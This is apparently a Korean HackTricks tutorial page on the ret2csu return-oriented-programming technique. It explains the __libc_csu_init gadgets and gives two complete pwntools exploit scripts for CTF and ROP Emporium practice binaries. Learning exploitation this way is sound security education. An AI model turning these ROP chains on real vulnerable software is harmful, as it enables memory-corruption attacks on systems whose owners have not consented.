Ret2csu

htARTE (HackTricks AWS Red Team Expert)에서 제로부터 영웅까지 AWS 해킹 배우기!

다른 HackTricks 지원 방법:

ret2csu는 프로그램의 동작을 조작하는 데 사용하는 해킹 기술로, 일반적으로 프로그램의 동작을 조작하는 데 사용하는 가젯을 찾을 수 없을 때 사용됩니다.

프로그램이 특정 라이브러리(예: libc)를 사용하는 경우, 프로그램의 다른 부분이 서로 통신하는 방법을 관리하는 데 사용되는 내장 함수가 있습니다. 이러한 함수 중에는 특히 __libc_csu_init라는 함수가 있습니다.

__libc_csu_init의 마법 가젯

**__libc_csu_init**에는 강조해야 할 두 가지 명령어 시퀀스(가젯)가 있습니다:

  1. 첫 번째 시퀀스를 사용하면 여러 레지스터(rbx, rbp, r12, r13, r14, r15)에 값을 설정할 수 있습니다. 이는 나중에 사용할 숫자나 주소를 저장할 수 있는 슬롯과 같습니다.

pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

이 가젯은 스택에서 값을 팝하여 레지스터를 제어할 수 있게 합니다.

  1. 두 번째 시퀀스는 설정한 값들을 사용하여 몇 가지 작업을 수행합니다:

  • 특정 값들을 다른 레지스터로 이동하여 함수의 매개변수로 사용할 준비를 합니다.

  • r15와 rbx의 값을 더한 후 rbx를 8로 곱하여 결정된 위치로 호출을 수행합니다.

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. 어디에 쓸 주소를 모르는 경우가 있을 수 있고 ret 명령어가 필요할 수 있습니다. 두 번째 가젯도 ret로 끝나지만, 해당 가젯에 도달하기 위해 몇 가지 조건을 충족해야 합니다:

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

다음은 조건입니다:

  • [r12 + rbx*8]는 호출 가능한 함수를 가리키는 주소를 가리켜야 합니다 (아이디어가 없고 pie가 없는 경우, _init 함수를 사용할 수 있습니다):

  • 만약 _init이 0x400560에 있다면, GEF를 사용하여 메모리에서 해당 함수를 가리키는 포인터를 찾고 [r12 + rbx*8]가 해당 포인터를 가리키는 주소가 되도록 합니다:

# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44     "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44     "\x60\x05\x40[...]"
  • rbprbx는 동일한 값을 가져야 점프를 피할 수 있습니다.

  • 고려해야 할 생략된 팝이 있습니다.

RDI와 RSI

Ret2csu 가젯에서 **rdi**와 **rsi**를 제어하는 또 다른 방법은 특정 오프셋에 액세스하는 것입니다:

자세한 정보는 이 페이지를 확인하세요:

콜 사용

시스템 호출을 하거나 write()와 같은 함수를 호출하려면 rdxrsi 레지스터에 특정 값이 필요합니다. 일반적으로 이러한 레지스터를 직접 설정하는 가젯을 찾겠지만 찾을 수 없습니다.

여기서 ret2csu가 필요합니다:

  1. 레지스터 설정: 첫 번째 매직 가젯을 사용하여 스택에서 값을 뽑아 rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) 및 r15로 이동합니다.

  2. 두 번째 가젯 사용: 이러한 레지스터가 설정된 상태에서 두 번째 가젯을 사용합니다. 이를 통해 r14 및 r13에서 rdxrsi로 값을 이동할 수 있으며 함수 호출을 위한 매개변수를 준비할 수 있습니다. 더불어 r15rbx를 제어하여 계산하고 [r15 + rbx*8]에 배치한 주소에 있는 함수를 호출할 수 있습니다.

이 기술을 사용하고 설명하는 예제가 있으며, 사용된 최종 익스플로잇은 다음과 같습니다:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

이전 exploit은 **RCE**를 수행하는 것이 아니라, **win**이라는 함수를 호출하기 위한 것입니다 (win의 주소를 stdin에서 gets를 호출하여 ROP 체인에 저장하고 r15에 저장).

호출 우회 및 ret 도달

다음 exploit은 이 페이지에서 추출되었으며 ret2csu를 사용하지만 호출 대신 비교를 우회하고 호출 후 ret에 도달합니다:

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

왜 libc를 직접 사용하지 않는가?

보통 이러한 경우는 ret2plt + ret2lib에 취약하지만, 때로는 libc에서 직접 찾은 가젯으로는 쉽게 제어할 수 없는 매개변수를 더 제어해야 할 수도 있습니다. 예를 들어 write() 함수는 세 개의 매개변수가 필요하며, 이를 직접 설정하는 가젯을 찾는 것이 불가능할 수도 있습니다.

Last updated